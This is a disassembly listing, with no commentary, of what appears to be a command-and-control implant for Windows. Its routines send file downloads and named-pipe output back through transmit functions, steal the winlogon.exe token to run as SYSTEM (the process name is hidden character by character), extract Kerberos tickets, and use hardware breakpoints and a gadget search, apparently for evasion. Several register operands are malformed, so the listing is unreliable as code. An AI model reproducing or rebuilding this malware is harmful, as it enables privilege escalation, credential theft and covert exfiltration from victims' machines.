1400122efmov rdx, [rax+24]
1400122f3lea r9, [rax+184]
1400122famov r10, [rcx]
1400122fdcall [r10+96]
140012301mov r8l, 167
140012307lea rdx, [rip+0x1ae02]
14001230elea rcx, [rip+0x15736]
140012315mov r9l, eax
140012318test eax, eax
14001231ajne 0x14001267e
140012320lea r9, [rip+0x1574d]
140012327mov r8l, 171
14001232dlea rdx, [rip+0x1addc]
140012334mov rcx, r12
140012337call printf
14001233cmov rax, [rbx+2266]
140012343lea rdx, [rip+0x12cb6]
14001234amov rcx, [rax+184]
140012351lea r8, [rax+192]
140012358mov r9, [rcx]
14001235bcall [r9]
14001235emov r8l, 173
140012364lea rdx, [rip+0x1ada5]
14001236blea rcx, [rip+0x15714]
140012372mov r9l, eax
140012375test eax, eax
140012377jne 0x14001267e
14001237dmov rax, [rbx+2266]
140012384lea rdx, [rsp+136]
14001238cmov rcx, [rax+136]
140012393call [rbx+1284]
140012399mov r8l, 178
14001239flea rdx, [rip+0x1ad6a]
1400123a6lea rcx, [rip+0x15704]
1400123admov r9l, eax
1400123b0test eax, eax
1400123b2jne 0x14001267e
1400123b8lea r9, [rip+0x15722]
1400123bfmov r8l, 182
1400123c5lea rdx, [rip+0x1ad44]
1400123ccmov rcx, r12
1400123cfcall printf
1400123d4mov rdi, [rsp+136]
1400123dcmov ecx, r13l
1400123dfrep movsb [rdi], [rsi]
1400123e1mov rax, [rbx+2266]
1400123e8mov rcx, [rax+136]
1400123efcall [rbx+1292]
1400123f5mov r9l, eax
1400123f8test eax, eax
1400123faje 0x140012429
1400123fclea rdx, [rip+0x1ad0d]
140012403lea rcx, [rip+0x156f2]
14001240amov r8l, 186
140012410call printf
140012415mov rax, [rbx+2230]
14001241cmov ecx, 1
140012421mov edx, [rax+104]
140012424call PackageTransmitError
140012429
140012429loc_140012429:
140012429lea r9, [rip+0x156fe]
140012430mov r8l, 190
140012436lea rdx, [rip+0x1acd3]
14001243dmov rcx, r12
140012440call printf
140012445mov rax, [rbx+2266]
14001244cmov rcx, [rax+192]
140012453mov rdx, [rax+136]
14001245alea r8, [rax+176]
140012461mov r9, [rcx]
140012464call [r9+360]
14001246bmov r8l, 192
140012471lea rdx, [rip+0x1ac98]
140012478lea rcx, [rip+0x156c1]
14001247fmov r9l, eax
140012482test eax, eax
140012484jne 0x14001267e
14001248alea r9, [rip+0x156d5]
140012491mov r8l, 196
140012497lea rdx, [rip+0x1ac72]
14001249emov rcx, r12
1400124a1call printf
1400124a6mov rdx, [rbx+2266]
1400124admov rcx, [rdx+176]
1400124b4add rdx, 200
1400124bbmov rax, [rcx]
1400124becall [rax+128]
1400124c4mov r8l, 198
1400124calea rdx, [rip+0x1ac3f]
1400124d1lea rcx, [rip+0x156a5]
1400124d8mov r9l, eax
1400124dbtest eax, eax
1400124ddjne 0x14001267e
1400124e3mov rsi, [rbx+2266]
1400124eaxor edx, edx
1400124ecmov ecx, 12
1400124f1mov [rsp+72], eax
1400124f5mov r8l, 1
1400124fbcall [rbx+1308]
140012501lea rdx, [rsp+116]
140012506mov rcx, r14
140012509mov [rsi+144], rax
140012510call [rbx+1628]
140012516mov rdi, [rbx+2266]
14001251dxor edx, edx
14001251fmov ecx, 8
140012524mov rsi, rax
140012527mov eax, [rsp+116]
14001252bmov [rdi+208], 8200
140012534lea r8l, [rax-1]
140012538mov [rsp+116], r8l
14001253dcall [rbx+1308]
140012543mov r9l, [rsp+72]
140012548mov [rdi+216], rax
14001254flea rdi, [rsp+124]
140012554
140012554loc_140012554:
140012554mov [rsp+124], r9l
140012559mov r12, [rbx+1316]
140012560cmp [rsp+116], r9l
140012565jle 0x1400125b6
140012567movsxd r9, r9l
14001256amov rcx, [rsi+8*r9+8]
14001256fcall [rbx+1332]
140012575mov rdx, rdi
140012578mov r8, rax
14001257bmov rax, [rbx+2266]
140012582mov rcx, [rax+216]
140012589call r12
14001258cmov r9l, eax
14001258ftest eax, eax
140012591je 0x1400125ac
140012593mov r8l, 213
140012599lea rdx, [rip+0x1ab70]
1400125a0lea rcx, [rip+0x15606]
1400125a7jmp 0x14001267e
1400125ac
1400125acloc_1400125ac:
1400125acmov eax, [rsp+124]
1400125b0lea r9l, [rax+1]
1400125b4jmp 0x140012554
1400125b6
1400125b6loc_1400125b6:
1400125b6mov rax, [rbx+2266]
1400125bdlea rdx, [rsp+120]
1400125c2mov rcx, [rax+144]
1400125c9lea r8, [rax+208]
1400125d0call r12
1400125d3mov r8l, 219
1400125d9lea rdx, [rip+0x1ab30]
1400125e0lea rcx, [rip+0x155fb]
1400125e7mov r9l, eax
1400125eatest eax, eax
1400125ecjne 0x14001267e
1400125f2mov rsi, [rbx+2266]
1400125f9mov ecx, -11
1400125fecall [rbx+1668]
140012604mov ecx, -11
140012609mov [rsi+88], rax
14001260dmov rax, [rbx+2266]
140012614mov rdx, [rax+80]
140012618call [rbx+1676]
14001261emov rax, [rbx+2266]
140012625mov rdx, [rsp+168]
14001262dmovups x0, [rsp+152]
140012635mov rcx, [rax+200]
14001263cmov [rsp+96], rdx
140012641lea r9, [rax+232]
140012648lea rdx, [rsp+80]
14001264dmovups [rsp+80], x0
140012652mov r8, [rax+144]
140012659mov r10, [rcx]
14001265ccall [r10+296]
140012663mov r9l, eax
140012666test eax, eax
140012668je 0x140012688
14001266amov r8l, 227
140012670lea rdx, [rip+0x1aa99]
140012677lea rcx, [rip+0x15594]
14001267e
14001267eloc_14001267e:
14001267ecall printf
140012683jmp 0x14001201f
140012688
140012688loc_140012688:
140012688mov rax, [rbx+2266]
14001268fmov [rax+256], 1
140012699call DotnetPush
14001269emov eax, 1
1400126a3
1400126a3loc_1400126a3:
1400126a3lea rsp, [rbp-56]
1400126a7pop rbx
1400126a8pop rsi
1400126a9pop rdi
1400126aapop r12
1400126acpop r13
1400126aepop r14
1400126b0pop r15
1400126b2pop rbp
1400126b3ret
140011f20

1400126b4
1400126b4 // align 0x10

1400126c0
1400126c0DotnetPush:
1400126c0push rbx
1400126c1sub rsp, 32
1400126c5mov rbx, [rip+0x19ca4]
1400126ccmov rax, [rbx+2266]
1400126d3test rax, rax
1400126d6je 0x14001272e
1400126d8cmp [rax+256], 0
1400126dflea r9, [rip+0x14f9d]
1400126e6lea rax, [rip+0x14f91]
1400126edmov r8l, 369
1400126f3cmovne r9, rax
1400126f7lea rdx, [rip+0x1a572]
1400126felea rcx, [rip+0x14f84]
140012705call printf
14001270amov rax, [rbx+2266]
140012711cmp [rax+256], 0
140012718je 0x14001272e
14001271acall DotnetPushPipe
14001271fcall DotnetPushPipe
140012724add rsp, 32
140012728pop rbx
140012729jmp 0x140011b70
14001272e
14001272eloc_14001272e:
14001272eadd rsp, 32
140012732pop rbx
140012733ret
1400126c0

140012734
140012734 // align 0x10

140012740
140012740DotnetPushPipe:
140012740push rdi
140012741xor r11l, r11l
140012744push rbx
140012745sub rsp, 72
140012749mov rbx, [rip+0x19c20]
140012750mov [rsp+56], r11l
140012755mov rax, [rbx+2266]
14001275cmov [rsp+60], r11l
140012761test rax, rax
140012764je 0x140012894
14001276amov rcx, [rax+72]
14001276exor r10l, r10l
140012771lea rax, [rsp+56]
140012776xor r9l, r9l
140012779xor r8l, r8l
14001277cxor edx, edx
14001277emov [rsp+40], r10
140012783mov [rsp+32], rax
140012788call [rbx+860]
14001278etest eax, eax
140012790je 0x140012894
140012796mov r9l, [rsp+56]
14001279bmov r8l, 340
1400127a1lea rdx, [rip+0x1a7e8]
1400127a8lea rcx, [rip+0x14e81]
1400127afcall printf
1400127b4mov r8l, [rsp+56]
1400127b9test r8l, r8l
1400127bcje 0x140012894
1400127c2mov rax, [rbx+2230]
1400127c9mov rdi, [rbx+2266]
1400127d0mov edx, 8
1400127d5mov rax, [rax+96]
1400127d9mov [rdi+64], r8l
1400127ddmov rcx, [rax+48]
1400127e1call [rbx+316]
1400127e7xor r9l, r9l
1400127eamov [rdi+56], rax
1400127eemov rax, [rbx+2266]
1400127f5mov r8l, [rax+64]
1400127f9mov rdx, [rax+56]
1400127fdmov rcx, [rax+72]
140012801mov [rsp+32], r9
140012806lea r9, [rsp+60]
14001280bcall [rbx+916]
140012811mov edx, [rsp+60]
140012815mov ecx, 90
14001281amov rax, [rbx+2266]
140012821mov [rax+64], edx
140012824mov edx, [rax]
140012826call PackageCreateWithRequestID
14001282bmov rdi, rax
14001282emov rax, [rbx+2266]
140012835mov rcx, rdi
140012838mov rdx, [rax+56]
14001283cmov r8l, [rax+64]
140012840call PackageAddBytes
140012845mov rcx, rdi
140012848call PackageTransmit
14001284dmov rax, [rbx+2266]
140012854mov rdi, [rax+56]
140012858test rdi, rdi
14001285bje 0x140012894
14001285dmov ecx, [rsp+56]
140012861xor eax, eax
140012863rep stosb [rdi], al
140012865mov rdx, [rbx+2230]
14001286cmov rax, [rbx+2266]
140012873mov rdx, [rdx+96]
140012877mov r8, [rax+56]
14001287bmov rcx, [rdx+48]
14001287fxor edx, edx
140012881call [rbx+332]
140012887mov rax, [rbx+2266]
14001288exor edx, edx
140012890mov [rax+56], rdx
140012894
140012894loc_140012894:
140012894add rsp, 72
140012898pop rbx
140012899pop rdi
14001289aret
140012740

14001289b
14001289b // align 0x10

1400128a0
1400128a0DownloadAdd:
1400128a0push rbp
1400128a1mov r8l, 56
1400128a7mov rbp, rcx
1400128aapush rdi
1400128abmov rdi, rdx
1400128aemov edx, 8
1400128b3push rsi
1400128b4push rbx
1400128b5sub rsp, 40
1400128b9mov rsi, [rip+0x19ab0]
1400128c0mov rax, [rsi+2230]
1400128c7mov rax, [rax+96]
1400128cbmov rcx, [rax+48]
1400128cfcall [rsi+316]
1400128d5mov rbx, rax
1400128d8call RandomNumber32
1400128ddmov [rbx+8], rbp
1400128e1mov r9, rbx
1400128e4mov r8l, 21
1400128eamov [rbx], eax
1400128ecmov rax, [rsi+2310]
1400128f3lea rdx, [rip+0x1a9b6]
1400128falea rcx, [rip+0x1533f]
140012901mov [rbx+24], rdi
140012905mov [rbx+48], rax
140012909mov eax, [rsi+8]
14001290cmov [rbx+40], 1
140012913mov [rbx+16], eax
140012916mov [rsi+2310], rbx
14001291dcall printf
140012922add rsp, 40
140012926mov rax, rbx
140012929pop rbx
14001292apop rsi
14001292bpop rdi
14001292cpop rbp
14001292dret
1400128a0

14001292e
14001292e // align 0x10

140012930
140012930DownloadFree:
140012930push rdi
140012931push rbx
140012932mov rbx, rcx
140012935sub rsp, 40
140012939mov rcx, [rcx+8]
14001293dtest rcx, rcx
140012940je 0x140012947
140012942call SysNtClose
140012947
140012947loc_140012947:
140012947lea r9, [rip+0x1531c]
14001294emov r8l, 48
140012954mov rdi, rbx
140012957lea rdx, [rip+0x1a8a2]
14001295elea rcx, [rip+0x1531a]
140012965call printf
14001296amov ecx, 56
14001296fxor eax, eax
140012971rep stosb [rdi], al
140012973mov rax, [rip+0x199f6]
14001297amov r8, rbx
14001297dmov rdx, [rax+2230]
140012984mov rax, [rax+332]
14001298bmov rdx, [rdx+96]
14001298fmov rcx, [rdx+48]
140012993add rsp, 40
140012997xor edx, edx
140012999pop rbx
14001299apop rdi
14001299bjmp rax
140012930

14001299d
14001299d // align 0x10

1400129a0
1400129a0DownloadPush:
1400129a0push r14
1400129a2push r13
1400129a4lea r13, [rip+0x15358]
1400129abpush r12
1400129adlea r12, [rip+0x15468]
1400129b4push rbp
1400129b5lea rbp, [rip+0x1a5e4]
1400129bcpush rdi
1400129bdpush rsi
1400129bepush rbx
1400129bfsub rsp, 64
1400129c3mov rbx, [rip+0x199a6]
1400129camov rsi, [rbx+2310]
1400129d1mov rdi, [rbx+2250]
1400129d8test rsi, rsi
1400129dbjne 0x140012a1d
1400129ddtest rdi, rdi
1400129e0je 0x140012cc2
1400129e6mov ecx, [rbx+2258]
1400129ecxor eax, eax
1400129eerep stosb [rdi], al
1400129f0mov rax, [rbx+2230]
1400129f7mov r8, [rbx+2250]
1400129fexor edx, edx
140012a00mov rax, [rax+96]
140012a04mov rcx, [rax+48]
140012a08call [rbx+332]
140012a0exor r10l, r10l
140012a11mov [rbx+2250], r10
140012a18jmp 0x140012cc2
140012a1d
140012a1dloc_140012a1d:
140012a1dcmp [rbx+2250], 0
140012a25jne 0x140012a77
140012a27mov rax, [rbx+2230]
140012a2emov r8l, [rbx+244]
140012a35mov edx, 8
140012a3amov rax, [rax+96]
140012a3emov rcx, [rax+48]
140012a42call [rbx+316]
140012a48mov r8l, 129
140012a4emov rdx, rbp
140012a51lea rcx, [rip+0x15260]
140012a58mov [rbx+2250], rax
140012a5fmov r9, rax
140012a62mov eax, [rbx+244]
140012a68mov [rbx+2258], eax
140012a6emov [rsp+32], eax
140012a72call printf
140012a77
140012a77loc_140012a77:
140012a77mov r9, rsi
140012a7amov r8l, 132
140012a80mov rdx, rbp
140012a83mov rcx, r13
140012a86call printf
140012a8bcmp [rsi+40], 1
140012a8fjne 0x140012c36
140012a95mov r9l, [rsi]
140012a98xor eax, eax
140012a9amov r8l, 137
140012aa0mov rdx, rbp
140012aa3lea rcx, [rip+0x15277]
140012aaamov [rsp+60], eax
140012aaecall printf
140012ab3mov ecx, [rbx+2258]
140012ab9mov rdi, [rbx+2250]
140012ac0xor eax, eax
140012ac2rep stosb [rdi], al
140012ac4xor r9l, r9l
140012ac7mov r8l, [rbx+2258]
140012acemov rdx, [rbx+2250]
140012ad5mov rcx, [rsi+8]
140012ad9mov [rsp+32], r9
140012adelea r9, [rsp+60]
140012ae3call [rbx+916]
140012ae9test eax, eax
140012aebjne 0x140012b0d
140012aedmov rax, [rbx+2230]
140012af4mov r8l, 143
140012afamov rdx, rbp
140012afdlea rcx, [rip+0x1525f]
140012b04mov r9l, [rax+104]
140012b08call printf
140012b0d
140012b0dloc_140012b0d:
140012b0dmov edx, [rsp+60]
140012b11sub [rsi+24], rdx
140012b15add [rsi+32], rdx
140012b19test edx, edx
140012b1bje 0x140012bfc
140012b21lea r14, [rip+0x15157]
140012b28lea r9, [rip+0x15260]
140012b2fmov r8l, 151
140012b35mov rdx, rbp
140012b38mov rcx, r14
140012b3bcall printf
140012b40mov edx, [rsi+16]
140012b43mov ecx, 15
140012b48call PackageCreateWithRequestID
140012b4dmov edx, 2
140012b52mov rdi, rax
140012b55mov rcx, rax
140012b58call PackageAddInt32
140012b5dmov edx, 1
140012b62mov rcx, rdi
140012b65call PackageAddInt32
140012b6amov edx, [rsi]
140012b6cmov rcx, rdi
140012b6fcall PackageAddInt32
140012b74mov rdx, [rbx+2250]
140012b7bmov r8l, [rsp+60]
140012b80mov rcx, rdi
140012b83call PackageAddBytes
140012b88lea r9, [rip+0x15214]
140012b8fmov rdx, rbp
140012b92mov rcx, r14
140012b95mov r8l, 164
140012b9bcall printf
140012ba0mov rcx, rdi
140012ba3call PackageTransmit
140012ba8cmp [rsp+60], 0
140012badje 0x140012bfc
140012bafcmp [rsi+24], 0
140012bb4jne 0x140012bfc
140012bb6mov edx, [rsi+16]
140012bb9mov ecx, 15
140012bbecall PackageCreateWithRequestID
140012bc3mov edx, 2
140012bc8mov rdi, rax
140012bcbmov rcx, rax
140012bcecall PackageAddInt32
140012bd3mov edx, 2
140012bd8mov rcx, rdi
140012bdbcall PackageAddInt32
140012be0mov edx, [rsi]
140012be2mov rcx, rdi
140012be5call PackageAddInt32
140012beamov rcx, rdi
140012bedxor edx, edx
140012befcall PackageAddInt32
140012bf4mov rcx, rdi
140012bf7call PackageTransmit
140012bfc
140012bfcloc_140012bfc:
140012bfcmov r9l, [rsp+60]
140012c01mov rax, [rsi+24]
140012c05test r9l, r9l
140012c08je 0x140012c0f
140012c0atest rax, rax
140012c0djne 0x140012c36
140012c0f
140012c0floc_140012c0f:
140012c0fmov edx, [rsi]
140012c11mov [rsp+32], rax
140012c16mov r8l, 188
140012c1clea rcx, [rip+0x15198]
140012c23mov [rsp+40], edx
140012c27mov rdx, rbp
140012c2acall printf
140012c2fmov [rsi+40], 3
140012c36
140012c36loc_140012c36:
140012c36mov rax, [rsi+48]
140012c3amov r9, rsi
140012c3dmov r8l, 196
140012c43mov rdx, rbp
140012c46mov rcx, r12
140012c49mov [rsp+32], rax
140012c4ecall printf
140012c53mov rsi, [rsi+48]
140012c57test rsi, rsi
140012c5ajne 0x140012a1d
140012c60mov rdi, [rbx+2310]
140012c67
140012c67loc_140012c67:
140012c67test rdi, rdi
140012c6aje 0x140012cac
140012c6ccmp [rdi+40], 3
140012c70mov rax, [rdi+48]
140012c74je 0x140012c7e
140012c76
140012c76loc_140012c76:
140012c76mov rsi, rdi
140012c79mov rdi, rax
140012c7cjmp 0x140012c67
140012c7e
140012c7eloc_140012c7e:
140012c7etest rsi, rsi
140012c81jne 0x140012c94
140012c83
140012c83loc_140012c83:
140012c83mov rcx, rdi
140012c86mov [rbx+2310], rax
140012c8dcall DownloadFree
140012c92jmp 0x140012cac
140012c94
140012c94loc_140012c94:
140012c94mov [rsi+48], rax
140012c98mov rcx, rdi
140012c9bcall DownloadFree
140012ca0cmp [rdi+40], 3
140012ca4mov rax, [rdi+48]
140012ca8jne 0x140012c76
140012caajmp 0x140012c83
140012cac
140012cacloc_140012cac:
140012cacmov rdi, [rbx+2250]
140012cb3test rdi, rdi
140012cb6je 0x140012cc2
140012cb8mov ecx, [rbx+2258]
140012cbexor eax, eax
140012cc0rep stosb [rdi], al
140012cc2
140012cc2loc_140012cc2:
140012cc2add rsp, 64
140012cc6pop rbx
140012cc7pop rsi
140012cc8pop rdi
140012cc9pop rbp
140012ccapop r12
140012cccpop r13
140012ccepop r14
140012cd0ret
1400129a0

140012cd1
140012cd1 // align 0x10

140012ce0
140012ce0DownloadRemove:
140012ce0push rsi
140012ce1mov r9l, ecx
140012ce4push rbx
140012ce5sub rsp, 40
140012ce9mov rax, [rip+0x19680]
140012cf0mov rsi, [rax+2310]
140012cf7mov rbx, rsi
140012cfa
140012cfaloc_140012cfa:
140012cfatest rbx, rbx
140012cfdje 0x140012d3d
140012cffcmp [rbx], r9l
140012d02jne 0x140012d34
140012d04mov r8l, 73
140012d0alea rdx, [rip+0x1a40f]
140012d11lea rcx, [rip+0x14f7b]
140012d18call printf
140012d1dmov rax, [rbx+48]
140012d21mov rcx, rbx
140012d24mov [rsi+48], rax
140012d28call DownloadFree
140012d2dmov eax, 1
140012d32jmp 0x140012d3f
140012d34
140012d34loc_140012d34:
140012d34mov rsi, rbx
140012d37mov rbx, [rbx+48]
140012d3bjmp 0x140012cfa
140012d3d
140012d3dloc_140012d3d:
140012d3dxor eax, eax
140012d3f
140012d3floc_140012d3f:
140012d3fadd rsp, 40
140012d43pop rbx
140012d44pop rsi
140012d45ret
140012ce0

140012d46
140012d46 // align 0x10

140012d50
140012d50ElevateToSystem:
140012d50push rdi
140012d51mov ecx, 26
140012d56push rsi
140012d57push rbx
140012d58xor ebx, ebx
140012d5amov eax, ebx
140012d5csub rsp, 96
140012d60lea rdi, [rsp+70]
140012d65rep stosb [rdi], al
140012d67xor eax, eax
140012d69mov ecx, 101
140012d6elea rdi, [rsp+70]
140012d73mov [rsp+48], rax
140012d78mov [rsp+56], rax
140012d7dcall HideChar
140012d82mov ecx, 111
140012d87movzx eax, al
140012d8amov [rsp+92], ax
140012d8fcall HideChar
140012d94mov ecx, 110
140012d99movzx eax, al
140012d9cmov [rsp+78], ax
140012da1call HideChar
140012da6mov ecx, 111
140012dabmovzx eax, al
140012daemov [rsp+74], ax
140012db3call HideChar
140012db8mov ecx, 110
140012dbdmovzx eax, al
140012dc0mov [rsp+82], ax
140012dc5call HideChar
140012dcamov ecx, 103
140012dcfmovzx eax, al
140012dd2mov [rsp+84], ax
140012dd7call HideChar
140012ddcxor ecx, ecx
140012ddemovzx eax, al
140012de1mov [rsp+80], ax
140012de6call HideChar
140012debmov ecx, 108
140012df0movzx eax, al
140012df3mov [rsp+94], ax
140012df8call HideChar
140012dfdmov ecx, 101
140012e02movzx eax, al
140012e05mov [rsp+76], ax
140012e0acall HideChar
140012e0fmov ecx, 46
140012e14movzx eax, al
140012e17mov [rsp+88], ax
140012e1ccall HideChar
140012e21mov ecx, 105
140012e26movzx eax, al
140012e29mov [rsp+86], ax
140012e2ecall HideChar
140012e33mov ecx, 119
140012e38movzx eax, al
140012e3bmov [rsp+72], ax
140012e40call HideChar
140012e45mov ecx, 120
140012e4amovzx eax, al
140012e4dmov [rsp+70], ax
140012e52call HideChar
140012e57mov rcx, rdi
140012e5amovzx eax, al
140012e5dmov [rsp+90], ax
140012e62call GetProcessIdByName
140012e67mov ecx, 26
140012e6cmov r8l, eax
140012e6fmov eax, ebx
140012e71rep stosb [rdi], al
140012e73cmp r8l, -1
140012e77jne 0x140012e9e
140012e79lea r9, [rip+0x15460]
140012e80mov r8l, 89
140012e86lea rdx, [rip+0x1a2b3]
140012e8dlea rcx, [rip+0x15473]
140012e94call printf
140012e99jmp 0x140012fb0
140012e9e
140012e9eloc_140012e9e:
140012e9emov edx, 4096
140012ea3mov ecx, r8l
140012ea6call ProcessOpen
140012eabmov rdi, rax
140012eaetest rax, rax
140012eb1je 0x140012f85
140012eb7lea r8, [rsp+56]
140012ebcmov edx, 14
140012ec1mov rcx, rax
140012ec4call SysNtOpenProcessToken
140012ec9mov esi, eax
140012ecbtest eax, eax
140012ecdjs 0x140012f4e
140012ecflea rax, [rsp+48]
140012ed4mov rcx, [rsp+56]
140012ed9mov edx, 395
140012edemov r9l, 1
140012ee4mov [rsp+32], rax
140012ee9mov r8l, 3
140012eefcall TokenDuplicate
140012ef4mov ebx, eax
140012ef6test eax, eax
140012ef8je 0x140012f17
140012efamov rcx, [rsp+48]
140012effxor ebx, ebx
140012f01call SysImpersonateLoggedOnUser
140012f06mov rcx, [rsp+48]
140012f0btest eax, eax
140012f0dsetne bl
140012f10call SysNtClose
140012f15jmp 0x140012f42
140012f17
140012f17loc_140012f17:
140012f17mov rax, [rip+0x19452]
140012f1emov ecx, esi
140012f20call [rax+348]
140012f26mov r8l, 112
140012f2clea rdx, [rip+0x1a20d]
140012f33lea rcx, [rip+0x153e1]
140012f3amov r9l, eax
140012f3dcall printf
140012f42
140012f42loc_140012f42:
140012f42mov rcx, [rsp+56]
140012f47call SysNtClose
140012f4cjmp 0x140012f7b
140012f4e
140012f4eloc_140012f4e:
140012f4emov ecx, eax
140012f50mov rax, [rip+0x19419]
140012f57xor ebx, ebx
140012f59call [rax+348]
140012f5fmov r8l, 118
140012f65lea rdx, [rip+0x1a1d4]
140012f6clea rcx, [rip+0x153d5]
140012f73mov r9l, eax
140012f76call printf
140012f7b
140012f7bloc_140012f7b:
140012f7bmov rcx, rdi
140012f7ecall SysNtClose
140012f83jmp 0x140012fb2
140012f85
140012f85loc_140012f85:
140012f85mov rax, [rip+0x193e4]
140012f8cxor ecx, ecx
140012f8ecall [rax+348]
140012f94mov r8l, 125
140012f9alea rdx, [rip+0x1a19f]
140012fa1lea rcx, [rip+0x153a0]
140012fa8mov r9l, eax
140012fabcall printf
140012fb0
140012fb0loc_140012fb0:
140012fb0xor ebx, ebx
140012fb2
140012fb2loc_140012fb2:
140012fb2add rsp, 96
140012fb6mov eax, ebx
140012fb8pop rbx
140012fb9pop rsi
140012fbapop rdi
140012fbbret
140012d50

140012fbc
140012fbc // align 0x10

140012fc0
140012fc0EndsWithIW:
140012fc0test rcx, rcx
140012fc3je 0x140013000
140012fc5test rdx, rdx
140012fc8je 0x140013000
140012fcasub rsp, 40
140012fcemov r9, rcx
140012fd1call StringLengthW
140012fd6mov rcx, rdx
140012fd9mov r8, rax
140012fdccall StringLengthW
140012fe1xor ecx, ecx
140012fe3cmp r8l, eax
140012fe6jb 0x140013003
140012fe8sub r8l, eax
140012febadd r8, r8
140012feelea rcx, [r9+r8]
140012ff2call StringCompareIW
140012ff7xor ecx, ecx
140012ff9test eax, eax
140012ffbsete cl
140012ffejmp 0x140013003
140013000
140013000loc_140013000:
140013000xor eax, eax
140013002ret
140013003
140013003loc_140013003:
140013003mov eax, ecx
140013005add rsp, 40
140013009ret
140012fc0

14001300a
14001300a // align 0x10

140013010
140013010EventSet:
140013010sub rsp, 40
140013014mov rax, [rip+0x19355]
14001301bxor edx, edx
14001301dcall [rax+460]
140013023add rsp, 40
140013027not eax
140013029shr eax, 31
14001302cret
140013010

14001302d
14001302d // align 0x10

140013030
140013030ExceptionHandler:
140013030push rdi
140013031lea rdi, [rip+0x19598]
140013038mov r8l, 326
14001303epush rsi
14001303fmov rdx, rdi
140013042mov rsi, rcx
140013045push rbx
140013046sub rsp, 32
14001304amov rax, [rcx]
14001304dlea rcx, [rip+0x14f2c]
140013054mov r9, [rax+16]
140013058call printf
14001305dmov rax, [rsi]
140013060mov rdx, rdi
140013063mov r8l, 327
140013069lea rcx, [rip+0x14f37]
140013070mov r9l, [rax]
140013073call printf
140013078mov rax, [rsi]
14001307bcmp [rax], 0xffffffff80000004
140013081je 0x140013087
140013083
140013083loc_140013083:
140013083xor eax, eax
140013085jmp 0x140013102
140013087
140013087loc_140013087:
140013087mov rdx, [rip+0x192e2]
14001308emov rdx, [rdx+2342]
140013095mov rbx, [rdx+16]
140013099
140013099loc_140013099:
140013099test rbx, rbx
14001309cje 0x1400130e4
14001309emov rdx, [rbx+8]
1400130a2cmp rdx, [rax+16]
1400130a6jne 0x1400130de
1400130a8movzx r8l, [rbx+24]
1400130admov ecx, [rbx]
1400130afxor r9l, r9l
1400130b2call HwBpEngineSetBp
1400130b7mov rcx, rsi
1400130bacall [rbx+16]
1400130bdlea r9, [rip+0x14f0a]
1400130c4mov r8l, 357
1400130camov rdx, rdi
1400130cdlea rcx, [rip+0x14eff]
1400130d4call printf
1400130d9or eax, -1
1400130dcjmp 0x140013102
1400130de
1400130deloc_1400130de:
1400130demov rbx, [rbx+32]
1400130e2jmp 0x140013099
1400130e4
1400130e4loc_1400130e4:
1400130e4lea r9, [rip+0x14f15]
1400130ebmov r8l, 357
1400130f1mov rdx, rdi
1400130f4lea rcx, [rip+0x14ed8]
1400130fbcall printf
140013100jmp 0x140013083
140013102
140013102loc_140013102:
140013102add rsp, 32
140013106pop rbx
140013107pop rsi
140013108pop rdi
140013109ret
140013030

14001310a
14001310a // align 0x10

140013110
140013110ExtractTicket:
140013110push rbp
140013111mov rbp, rsp
140013114push r15
140013116mov r15, r8
140013119push r14
14001311bmov r14l, edx
14001311exor edx, edx
140013120push r13
140013122mov r13, rcx
140013125mov ecx, 64
14001312apush r12
14001312cpush rdi
14001312dpush rsi
14001312epush rbx
14001312fand rsp, -16
140013133sub rsp, 96
140013137mov rdi, [r9]
14001313amov r12, [rip+0x1922f]
140013141mov [rsp+88], rdx
140013146mov rsi, [r9+8]
14001314amov edx, edi
14001314cmov rax, rdi
14001314fmov [rsp+84], 0xffffffffc0000001
140013157shr edx, 16
14001315ashr rax, 16
14001315eadd edx, 64
140013161mov [rsp+72], rax
140013166mov [rsp+80], edx
14001316ashl rdx, 6
14001316ecall [r12+932]
140013176test rax, rax
140013179je 0x14001326c
14001317fmov [rax+4], r15
140013183mov rbx, rax
140013186movzx ecx, [rsp+72]
14001318bmov edx, r14l
14001318emov [rax], 8
140013194mov eax, 1
140013199mov r8, rbx
14001319cshl rax, 35
1400131a0mov [rbx+16], rdi
1400131a4mov [rbx+32], rax
1400131a8xor eax, eax
1400131aamov [rbx+40], eax
1400131adlea rax, [rbx+64]
1400131b1mov [rbx+24], rax
1400131b5mov rdi, rax
1400131b8lea rax, [rsp+84]
1400131bdrep movsb [rdi], [rsi]
1400131bfmov [rsp+48], rax
1400131c4lea rax, [rsp+80]
1400131c9mov rcx, r13
1400131ccmov [rsp+40], rax
1400131d1lea rax, [rsp+88]
1400131d6mov r9l, [rsp+80]
1400131dbmov [rsp+32], rax
1400131e0call [r12+1956]
1400131e8mov r9l, eax
1400131ebor eax, [rsp+84]
1400131efjs 0x140013236
1400131f1mov rax, [rsp+88]
1400131f6mov ecx, 64
1400131fbmov r13l, [rax+136]
140013202mov rdx, r13
140013205call [r12+932]
14001320dtest rax, rax
140013210je 0x14001324f
140013212mov rdx, [rsp+88]
140013217mov rdi, rax
14001321amov rcx, r13
14001321dmov rsi, [rdx+144]
140013224mov rdx, [rbp+48]
140013228rep movsb [rdi], [rsi]
14001322amov [rdx], rax
14001322dmov rax, [rbp+56]
140013231mov [rax], r13l
140013234jmp 0x14001324f
140013236
140013236loc_140013236:
140013236mov r8l, 328
14001323clea rdx, [rip+0x19d7d]
140013243lea rcx, [rip+0x1512f]
14001324acall printf
14001324f
14001324floc_14001324f:
14001324fmov rcx, [rsp+88]
140013254test rcx, rcx
140013257je 0x140013261
140013259call [r12+2012]
140013261
140013261loc_140013261:
140013261mov rcx, rbx
140013264call [r12+940]
14001326c
14001326cloc_14001326c:
14001326clea rsp, [rbp-56]
140013270pop rbx
140013271pop rsi
140013272pop rdi
140013273pop r12
140013275pop r13
140013277pop r14
140013279pop r15
14001327bpop rbp
14001327cret
140013110

14001327d
14001327d // align 0x10

140013280
140013280FindGadget:
140013280push rbp
140013281mov edx, edx
140013283lea rbp, [rip+0x15ec6]
14001328apush rdi
14001328bpush rsi
14001328clea rsi, [rcx+rdx]
140013290push rbx
140013291mov rbx, rcx
140013294sub rsp, 40
140013298
140013298loc_140013298:
140013298cmp rbx, rsi
14001329bje 0x1400132ba
14001329dmov rcx, rbx
1400132a0mov r8l, 2
1400132a6mov rdx, rbp
1400132a9mov rdi, rbx
1400132accall MemCompare
1400132b1inc rbx
1400132b4test eax, eax
1400132b6jne 0x140013298
1400132b8jmp 0x1400132bc
1400132ba
1400132baloc_1400132ba:
1400132baxor edi, edi
1400132bc
1400132bcloc_1400132bc:
1400132bcadd rsp, 40
1400132c0mov rax, rdi
1400132c3pop rbx
1400132c4pop rsi
1400132c5pop rdi
1400132c6pop rbp
